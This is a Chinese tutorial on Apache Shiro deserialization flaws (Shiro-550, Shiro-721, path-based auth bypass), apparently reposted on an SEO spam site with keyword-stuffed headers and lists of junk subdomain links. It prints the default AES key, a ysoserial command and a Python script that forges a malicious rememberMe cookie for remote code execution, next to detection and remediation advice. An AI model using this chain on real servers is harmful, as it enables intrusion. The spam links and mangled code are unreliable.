当前位置: 首页 > wzjs >正文

洛阳做网站公司电话做网站买那种服务器好

洛阳做网站公司电话,做网站买那种服务器好,网站外链建设策略,seo优化是怎么优化的文章目录 1. 漏洞原理Shiro 反序列化漏洞的核心Shiro 反序列化漏洞的关键点 2. 漏洞利用**Shiro 反序列化漏洞利用流程** 3. 漏洞检测**1. 识别目标是否使用 Shiro****2. 检测是否存在 Shiro 反序列化漏洞** 流量特征4. 修复方案**1. 升级 Shiro 版本****2. 修改 AES 密钥****3…

文章目录

    • 1. 漏洞原理
      • Shiro 反序列化漏洞的核心
      • Shiro 反序列化漏洞的关键点
    • 2. 漏洞利用
      • **Shiro 反序列化漏洞利用流程**
    • 3. 漏洞检测
      • **1. 识别目标是否使用 Shiro**
      • **2. 检测是否存在 Shiro 反序列化漏洞**
    • 流量特征
    • 4. 修复方案
      • **1. 升级 Shiro 版本**
      • **2. 修改 AES 密钥**
      • **3. 使用更安全的序列化机制**
      • **4. 过滤危险类**
    • 漏洞类型
      • linux出网环境
      • linux不出网环境
      • apache shiro 权限绕过
      • shiro550漏洞
      • shiro 721漏洞

1. 漏洞原理

Apache Shiro 是一个强大的 Java 安全框架,提供身份验证、授权、加密及会话管理功能。Shiro 使用 rememberMe 机制来存储用户会话信息,该机制依赖于加密后的 Cookie。当攻击者能够控制 Cookie 并且服务器使用了不安全的反序列化机制时,就可能造成远程代码执行(RCE)。

Shiro 反序列化漏洞的核心

  • Shiro 的 rememberMe 功能会在 Cookie 中存储用户的身份信息,该数据通常是通过 AES 加密的。
  • 服务器在解析 rememberMe Cookie 时,会进行反序列化操作。
  • 如果攻击者能够伪造 rememberMe Cookie,并利用不安全的 Java 反序列化机制,则可能导致远程代码执行。

Shiro 反序列化漏洞的关键点

  1. 默认密钥问题(Key Hardcoded) :

    • 早期版本(如 Shiro 1.2.4)使用了默认的 AES 密钥 kPH+bIxk5D2deZiIxcaaaA==,攻击者可以利用该密钥解密 Cookie 并伪造恶意数据进行反序列化攻击。
  2. Java 反序列化漏洞:

    • Shiro 反序列化时没有严格限制可反序列化的类,导致攻击者可以利用 CommonsCollectionsJdk7u21 等反序列化 gadget 进行 RCE。

2. 漏洞利用

Shiro 反序列化漏洞利用流程

  1. 获取 Shiro 版本和 AES 密钥

    • 通过访问 rememberMe Cookie 确认目标是否使用 Shiro。
    • 尝试使用 Shiro 默认密钥 kPH+bIxk5D2deZiIxcaaaA== 进行解密。
    • 如果默认密钥无效,可以利用字典或爆破方式尝试其他密钥。
  2. 构造反序列化 payload

    • 使用 ysoserial 工具生成恶意反序列化数据,如 CommonsCollections1:

      java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
      
    • 使用 AES 加密该 payload,并 Base64 编码后写入 rememberMe Cookie:

      from Crypto.Cipher import AES
      import base64key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")  # Shiro 默认密钥
      iv = key  # Shiro 使用 CBC 模式,IV = keydef pad(s):  # PKCS7 补全return s + (16 - len(s) % 16) * chr(16 - len(s) % 16)cipher = AES.new(key, AES.MODE_CBC, iv)
      encrypted = base64.b64encode(cipher.encrypt(pad(open("payload.bin", "rb").read())))print("rememberMe=" + encrypted.decode())
      
  3. 发送恶意 Cookie 触发 RCE

    • 通过 Burp Suite 或手动修改 Cookie:

      rememberMe=恶意Base64编码后的数据
      
    • 访问目标网站,触发 Shiro 反序列化漏洞,执行远程命令。


3. 漏洞检测

1. 识别目标是否使用 Shiro

  • 观察 HTTP 响应头:

    • Shiro 默认的 session ID 命名规则:

      Set-Cookie: JSESSIONID=xxxx; Path=/; HttpOnly
      Set-Cookie: rememberMe=deleteMe; Path=/; HttpOnly
      
    • rememberMe=deleteMe 可能表明目标使用 Shiro。

  • 访问 /favicon.ico,如果返回 Shiro 默认的 favicon.ico,说明目标可能使用 Shiro:

    curl -I http://target.com/favicon.ico
    

2. 检测是否存在 Shiro 反序列化漏洞

  • 发送 rememberMe=deleteMe 观察是否被 Shiro 自动删除。
  • 使用已知 AES 密钥加密测试 payload,观察目标是否执行恶意代码。

流量特征

在请求包的Cookie中为?remeberMe字段赋任意值

返回包中存在set-Cookie:remeberMe=deleteMe

URL中有shiro字样

有时候服务器不会主动返回remeberMe=deleteMe,直接发包即可

命令执行成功,返回包处的remeberMe处会有大量的base64编码字符

image

4. 修复方案

1. 升级 Shiro 版本

  • Shiro 1.2.5 及以上版本修复了默认密钥问题,建议升级到最新版本

    <dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-core</artifactId><version>1.12.0</version>
    </dependency>
    

2. 修改 AES 密钥

  • 避免使用 Shiro 默认密钥,修改 shiro.inishiro-config.properties

    shiro.crypto.key=<随机生成的 Base64 AES 密钥>
    

3. 使用更安全的序列化机制

  • 使用 SimpleSession 代替 Java 反序列化:

    session.setAttribute("rememberMe", YOUR_SECURE_SERIALIZATION_METHOD);
    
  • 采用 KryoJSON 等安全的序列化方式,避免 Java 反序列化漏洞。

4. 过滤危险类

  • 采用 Java ObjectInputFilter 机制:

    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!*;java.util.**;org.apache.shiro.**");
    

漏洞类型

  • linux出网环境

    • 访问网址发现url存在shiro字眼,可以确认是shiro环境

      • image
    • 通过修改cookie字段的信息,返回包那里含有rememberMe=deleteMe字段,说明存在shiro漏洞,直接上工具即可

      • image
  • linux不出网环境

    • 不出网我们可以采用延迟来判断漏洞是否存在
    • 通过脚本会尝试发送不同的密钥(Key)和利用链(Gadget),并观察服务器的响应时间。
    • 如果服务器的响应时间比正常情况延迟了5秒,则说明该 key + gadget 组合有效,Shiro 存在反序列化漏洞
    • 如果某个key和gadget组合以及延时命令success生效了,就是存在的,还区分两个判断windows和linux,最后在写入shell后还对发送命令进行了base64编码后发送
  • apache shiro 权限绕过

    • 漏洞的根本原因

      • shiro的URL拦截器中的路径匹配规则的存在设计缺陷
      • spring MVC处理URL时,会将/hello/hello/视为相同的资源
    • 漏洞复现

      • 不可以访问/admin,但是可以访问/admin/
      • 说明存在权限绕过,可以通过/路径/的形式访问未授权资源
  • shiro550漏洞

    • 原理

      • apache shiro框架提供了记住密码的功能,用户登录成功后会生成经过aes加密base64编码的cookie,在服务端会对rememberme的cookie的值,先base64解码然后aes解密在反序列化,因为aes的秘钥是写死在代码里面,所以导致了反序列化rce漏洞产生
    • 攻击流程

      • 通过勾选登录页面的“记住我”选项并进行登录,抓包观察请求和响应中的rememberMe字段。
      • 使用shiro_attack-2.2.jar工具或python脚本(shiro_exploit.py)进行密钥检测和爆破,确认是否能获取到固定的密钥kPH+bIxk5D2deZiIxcaaaA==。
  • shiro 721漏洞

    • 原理

      • Shiro721与shiro550不同,他的AES加密的key基本猜不到,系统随机生成。可使用登录后的RememberMe来爆破正确的key值,就是利用对加密消息填充错误的反馈,来逐步判断加密数据的内容,就是利用Shiro Cookie签名校验逻辑缺陷,然后构造RememberMe Cookie值来实现反序列化漏洞攻击

文章转载自:

http://LQmx9vMU.rgksz.cn
http://oa6Pl4jH.rgksz.cn
http://eBR76oJg.rgksz.cn
http://EWO58n3R.rgksz.cn
http://7H1KzRc9.rgksz.cn
http://s2nJMnH1.rgksz.cn
http://xNBQCJjw.rgksz.cn
http://wdOl1puU.rgksz.cn
http://XnKeicpj.rgksz.cn
http://bKp97aLI.rgksz.cn
http://rkKSuDhU.rgksz.cn
http://E0Y1WhG6.rgksz.cn
http://FXQXYncX.rgksz.cn
http://U08QV4gK.rgksz.cn
http://Lu5Bg9Cb.rgksz.cn
http://SViUoNNK.rgksz.cn
http://L8HWPrJV.rgksz.cn
http://YjZpHyi8.rgksz.cn
http://pSzXrcBl.rgksz.cn
http://RNvNVpzX.rgksz.cn
http://2PpXqa86.rgksz.cn
http://QzJ2GaS9.rgksz.cn
http://7jOFNHp0.rgksz.cn
http://fKOriWzc.rgksz.cn
http://t96sNibI.rgksz.cn
http://X6CbTX5k.rgksz.cn
http://fpyN7Vw6.rgksz.cn
http://2W0hX1rV.rgksz.cn
http://7zvG6kkC.rgksz.cn
http://E6ozkyao.rgksz.cn
http://www.dtcms.com/wzjs/738340.html

相关文章:

  • 营销型网站建设教程seo优化师是什么
  • wordpress建站是什么yw193can未满十免费观看
  • 手机网站的静态页面微信小程序saas平台
  • 菜鸟做网站图文广告制作软件
  • 什么视频网站可以做链接地址怎么免费制作一个企业网站
  • 南昌专业做网站公司哪家好西安做行业平台网站的公司
  • js网站源码已到期电商网站统计怎么做
  • 北京建设厅官方网站网站seo推广seo教程
  • 登封网站设计wordpress视频笔记
  • 郑州网站优化网络建设有限公司安卓app开发平台
  • 便宜建站空间画册什么网站做方便
  • 建站如何赚钱南昌做网站建站的
  • 网站不让百度收录阿里云网站建设认证答案
  • 营销网站制作信ls15227个人网站备案做商城
  • 医院网站站群建设做名片上什么网站
  • 杭州网站关键词推广软件工程师培训学校
  • 百度网站如何建设网页加速器推荐
  • 网站建设制作合同模板销售crm
  • 大连自助建站wordpress中.htaccess
  • 网站规划与网页设计第二版上海建桥学院门户网站
  • 自助建站免费信息发布网站1688货源网官方网站
  • 用符号做照片的网站以下属于网站页面设计的原则有
  • 广州网站制作公司多少钱海口网站建设团队
  • 网站的建设内容微网站建设行业现状
  • 网站建设网站优化相关资讯文章wordpress 安卓
  • 简单房地产网站在哪中国电子商务官网
  • 上饶哪里可以学网站建设wordpress自定义文章分类
  • 上市公司网站建设报价简单的工作室网站模板
  • 世界建筑网站宁波市住宅建设集团网站
  • 医疗设计网站360优化大师官方下载最新版